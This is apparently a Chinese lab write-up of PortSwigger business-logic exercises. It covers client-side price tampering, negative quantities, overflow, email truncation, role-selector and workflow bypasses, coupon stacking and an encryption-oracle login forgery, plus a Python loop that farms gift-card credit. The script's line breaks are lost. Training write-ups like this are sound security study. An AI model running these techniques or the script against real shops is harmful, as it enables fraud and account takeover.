PortSwigger Business Logic Vulnerabilities

lab1: Excessive trust in client-side controls

给了100块 买价值1337的货

在历史包里发现

image-20231221161650403

尝试直接修改价格

image-20231221161858007

lab2: High-level logic vulnerability

这里把加入购物车时价格可控的点修复了

但是数量可控 我们可以买负数的东西来加钱

image-20231221195033804

image-20231221195026120

但是返回Cart total price cannot be less than zero

那么控制一下价格 大于0即可

image-20231221195234260

lab3: Low-level logic flaw

买大量的货 溢出上限即可

image-20231221200558320

但是还是卡了我们 必须花钱

由于这里限制了一次最多加99 大概估计整数的上限是20M左右

image-20231221201444558

lab4: Inconsistent handling of exceptional input

需求: 删除carlos

访问admin路由

Admin interface only available if logged in as a DontWannaCry user

image-20231221202658065

我们可以接收任何 以@exploit-0a2300c90469cc9d80ea5232011200d0.exploit-server.net结尾的邮箱

image-20231221203451674

在这里超过255的字符会被截断

我们卡一下长度

image-20231221204405162

image-20231221204508364

image-20231221204639955

lab5: Inconsistent security controls

注册完后直接更新邮箱

image-20231222081215947

lab6: Weak isolation on dual-use endpoint

直接不提交旧密码

image-20231222082355525

lab7: Insufficient workflow validation

先跟一个正常的购买流程

/cart 添加进购物车 -> /cart/checkout 清算 -> /cart/order-confirmation?order-confirmed=true 结算

每个流程都重复发包 然后刷新观察

我们发现在checkout的时候就已经进扣钱了

尝试跳过checkout 添加购物车后直接confirm

image-20231222090150331

这里false和true没影响好像

一开始是想看看能不能反悔

lab8: Authentication bypass via flawed state machine

image-20231222091018797

改administrator 和 admin 都没用

尝试login 然后drop掉role-selector

image-20231222092405290

lab9: Flawed enforcement of business rules

New customers use code at checkout: NEWCUST5

注册能领30 off 检测是否重复只检测上一个

然后俩折扣来回叠加

image-20231222103930811

lab10: Infinite money logic flaw

注册送券 SIGNUP30

image-20231222105437164

买giftcart 赚3块 无限薅

现在需要实现自动化

添加购物车 -> 加券 -> 兑换

import requests
import recsrfPartten = re.compile('<input required type="hidden" name="csrf" value=".*">')
codePartten = re.compile('<td>.*</td>')
url = "https://0add00500314e8f081b017cf00d400a0.web-security-academy.net/"
Cookie = "VpVhq6vKnkAwKWFRosMkSD8TFaaVJP27"
sess = requests.Session()def do_cart():data = {"productId": 2,"redir": "PRODUCT","quantity": 1}res = sess.post(url+"cart", data=data,cookies={"session":Cookie})return resdef getCsrf():res = sess.get(url+"my-account?id=wiener",cookies={"session": Cookie})csrf = re.findall(csrfPartten, res.text)[0]return(csrf.split("=")[3].replace('"', "").replace(">", ""))csrf = getCsrf()def do_coupon():data = {"coupon":"SIGNUP30","csrf":csrf}res = sess.post(url+"cart/coupon", data=data,cookies={"session":Cookie})return res
def do_checkout():data = {"csrf": csrf}res = sess.post(url+"cart/checkout", data=data,cookies={"session": Cookie})code = re.findall(codePartten, res.text)return code[2:]def do_redeem(code):data = {"gift-card": code[0].replace("<td>","").replace("</td>",""),"csrf": csrf}res = sess.post(url+"gift-card", data=data,cookies={"session": Cookie})while True:do_cart()do_coupon()do_redeem(do_checkout())

不考虑效率 跑个半个小时左右就好了

主要还是交互太慢了

image-20231222130923509

lab11: Authentication bypass via encryption oracle

post/comment处会将emil加密

猜测和stay-logged-in是同种方式

尝试将stay-logged-in的值解密

image-20231222133525271

可以看见是用户名加时间戳 将其在emil处提交加密

administrator:1703222719341

image-20231222134653363

前面还有Invalid email address: 23个字符

考虑到一般这种都是块加密 补齐至32个字符

然后把cipher的前32位删了image-20231222140616052

image-20231222140333592

image-20231222140522765

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/240838.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【数据结构】四、串

目录 一、定义 二、表示与实现 定长顺序存储 堆分配存储 链式存储 三、BF算法 四、KMP算法 1.求next数组 方法一 方法二&#xff08;考试方法&#xff09; 2.KMP算法实现 方法一 方法二 3.nextval 4.时间复杂度 本节最重要的就是KMP算法&#xff0c;其他要求不高…

汽车级EEPROM 存储器 M24C64-DRMN3TP/K是电可擦除可编程只读存储器?它的功能特性有哪些?

M24C64-DRMN3TP/K是一款64 Kbit串行EEPROM汽车级设备&#xff0c;工作温度高达125C。符合汽车标准AEC-Q100 1级规定的极高可靠性。 该设备可通过一个高达1MHz的简单串行I2C兼容接口访问。 存储器阵列基于先进的真EEPROM技术&#xff08;电可擦除可编程存储器&#xff09;。M2…

【力扣】543. 二叉树的直径

543. 二叉树的直径 突然间发现现在刷的题好多都和大一时学的数据结构密切相关&#xff0c;比如说这道题就用到的深度优先搜索算法。 题解&#xff1a; 以根节点为例&#xff0c;我们通过遍历左边的深度就可以得到当前左子树的长度&#xff0c;然后再遍历其右边&#xff0c;就…

吴恩达RLHF课程笔记

1.创建偏好数据集 一个prompt输入到LLM后可以有多个回答&#xff0c;对每个回答选择偏好 比如{prompt,answer1,answer2,prefer1} 2.根据这个数据集&#xff08;偏好数据集&#xff09;&#xff0c;创建reward model&#xff0c;这个model也是一个LLM,并且它是回归模型&#…

momentum2靶机

文章妙语 遇事不决&#xff0c;可问春风&#xff1b; 春风不语&#xff0c;遵循己心。 文章目录 文章妙语前言一、信息收集1.IP地址扫描2.端口扫描3.目录扫描 二&#xff0c;漏洞发现分析代码bp爆破1.生成字典2.生成恶意shell.php2.抓包 三&#xff0c;漏洞利用1.反弹shell 四…

Diffusion扩散模型学习:图片高斯加噪

高斯分布即正态分布&#xff1b;图片高斯加噪即把图片矩阵每个值和一个高斯分布的矩阵上的对应值相加 1、高斯分布 np.random.normal 一维&#xff1a; import numpy as np import matplotlib.pyplot as pltdef generate_gaussian_noise(mean, std_dev, size):noise np.ran…

低代码如何助力企业数字化转型?

目录 一、低代码开发是什么&#xff1f; 二、低代码与企业数字化转型 1&#xff09;集成化 2&#xff09;智能化 3&#xff09;定制化 三、低代码开发平台对于企业数字化转型的优势 01、提供源码 02、私有化部署 03、敏捷开发 04、拓展能力 四、低代码带来的效益 以…

量化服务器 - 后台挂载运行

服务器 - 后台运行 pip3命令被kill 在正常的pip命令后面加上 -no-cache-dir tmux 使用教程 https://codeleading.com/article/40954761108/ 如果你希望在 tmux 中后台执行一个 Python 脚本&#xff0c;你可以按照以下步骤操作&#xff1a; 启动 tmux: tmux这将会创建一个新…

绝对干货-讲讲设计模式之结构型设计模式

经典的23种设计模式种属于结构型设计模式的是装饰模式&#xff0c;适配器模式&#xff0c;代理模式&#xff0c;组合模式&#xff0c;桥接模式&#xff0c;外观模式&#xff0c;享元模式。 如果说创建型设计模式解决的是创建对象的问题&#xff0c;那么结构型模式就是通过类和…

JS逆向基础

JS逆向基础 一、什么是JS逆向&#xff1f;二、接口抓包三、逆向分析 一、什么是JS逆向&#xff1f; 我们在网站进行账号登录的时候对网页源进行抓包就会发现我们输入的密码在后台会显示为一串由字母或数字等符号&#xff0c;这就是经过加密呈现的一段加密文字&#xff0c;而分…

python脚本 链接到ssh服务器 快速登录ssh服务器 ssh登录

此文分享一个python脚本,用于管理和快速链接到ssh服务器。 效果演示 🔥完整演示效果 👇第一步,显然,我们需要选择功能 👇第二步,确认 or 选择ssh服务器,根据配置文件中提供的ssh信息,有以下情况 👇场景一,只有一个候选ssh服务器,则脚本会提示用户是否确认链…

blender径向渐变材质-着色编辑器

要点&#xff1a; 1、用纹理坐标中的物体输出连接映射中的矢量输入 2、物体选择一个空坐标&#xff0c;将空坐标延z轴上移一段距离 3、空坐标的大小要缩放到和要添加材质的物体大小保持一致

存 储 管 理

(1) 存储管理的任务和功能是什么&#xff1f; 解&#xff1a; 存储管理的主要任务是&#xff1a; 支持多道程序的并发执行&#xff0c;使多道程序能共享存储资源&#xff0c;在互不干扰的环境中并发执行。方便用户&#xff0c;使用户减少甚至摆脱对存储器的管理&#xff0c;使…

【前端】前后端通信方法与差异(未完待续)

系列文章 【Vue】vue增加导航标签 本文链接&#xff1a;https://blog.csdn.net/youcheng_ge/article/details/134965353 【Vue】Element开发笔记 本文链接&#xff1a;https://blog.csdn.net/youcheng_ge/article/details/133947977 【Vue】vue&#xff0c;在Windows IIS平台…

WPF中使用DataGrid封装组合控件TreeView+DataGrid

&#xff08;关注博主后&#xff0c;在“粉丝专栏”&#xff0c;可免费阅读此文&#xff09; wpf的功能非常强大&#xff0c;很多控件都是原生的&#xff0c;但是要使用TreeViewDataGrid的组合&#xff0c;就需要我们自己去封装实现。 我们需要的效果如图所示&#x…

Apache ShenYu 网关JWT认证绕过漏洞 CVE-2021-37580

Apache ShenYu 网关JWT认证绕过漏洞 CVE-2021-37580 已亲自复现 漏洞名称漏洞描述影响版本 漏洞复现环境搭建漏洞利用 修复建议总结 Apache ShenYu 网关JWT认证绕过漏洞 CVE-2021-37580 已亲自复现) 漏洞名称 漏洞描述 Apache ShenYu是一个异步的&#xff0c;高性能的&#x…

SpringBoot3-基础特性

文章目录 自定义 banner自定义 SpringApplicationFluentBuilder APIProfiles指定环境环境激活环境包含Profile 分组Profile 配置文件 外部化配置配置优先级 外部配置导入配置属性占位符 单元测试-JUnit5测试组件测试注解断言嵌套测试参数化测试 自定义 banner banner 就是启动…

机场信息集成系统系列介绍(7):机场航班信息显示系统FIDS

目录 一、简介 二、架构及相关功能 1、实时更新和显示航班信息 2、多屏显示与查询 3、提供登机口导航信息 4、发布机场公告 5、集成机场的其他延伸服务 6、支持多语言显示 7、监控与故障处理 8、数据分析与优化 9、与航空公司、地面代理的信息交互 10、安全保障与应…

【华为OD机试真题2023CD卷 JAVAJS】多段线数据压缩

华为OD2023(C&D卷)机试题库全覆盖,刷题指南点这里 多段线数据压缩 知识点数组栈递归矩阵循环 时间限制:1s 空间限制:256MB 限定语言:不限 题目描述: 下图中,每个方块代表一个像素,每个像素用其行号和列号表示。 为简化处理,多段线的走向只能是水平、竖直、斜向45…

GPT2代码运行,个人文本生成助手,不依赖OpenAI API调用

0.前言: 感觉GPT很好玩,所以想要有个自己搭建GPT的写法,不依赖于OpenAI,需要翻墙太麻烦了,近日日本已经结合GPT4和机器,可以让他吓人,做出丰富的表情,如果自己训练的话,会塑造出什么样的机器人尚未可知…抱着好奇的心态,去github openai下载了个gpt2的模型来玩玩(其中遇到了许多…